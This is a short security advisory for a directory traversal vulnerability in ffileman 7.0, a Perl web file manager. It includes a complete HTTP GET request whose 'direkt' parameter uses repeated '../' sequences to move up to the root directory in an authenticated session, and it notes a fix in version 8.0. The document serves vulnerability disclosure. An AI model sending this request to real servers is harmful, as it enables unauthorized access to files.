f-fileman 7.0 - Directory Traversal

Advisory:
ffileman 7.0 Directory Traversal Vulnerability

Credits: 
Raffaele Forte 
http://www.backbox.org

Tested Versions: 
ffileman 7.0

Software Link: 
http://sourceforge.net/projects/f-fileman/

Tested on: 
Unix

Category: 
Directory Traversal

Severity: 
Medium


Description:

Directory traversal vulnerabilities has been found in ffileman 7.0 a web 
based file and directory manager written with Perl.

The vulnerability can be exploited to access local files by entering 
special characters in variables used to create file paths. The attackers 
use “../” sequences to move up to root directory, thus permitting 
navigation through the file system.

The issue discovered can only be exploited with an authenticated session 
and setting the variable "direkt" like below with a HTTP GET or POST 
request.


Request:

GET http://[webserver IP]/cgi-bin/ffileman.cgi?direkt=../../../../../../../../&kullanici=[username]&sifre=[password]&dizin_git=Vai%20alla%20Directory HTTP/1.1
Host: [webserver IP]
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://[webserver IP]/cgi-bin/ffileman.cgi?direkt=[original path]&kullanici=[username]&sifre=[password]&dizin_git=Vai%20alla%20Directory


Disclosure:
2009-07-17 Fixed with version 8.0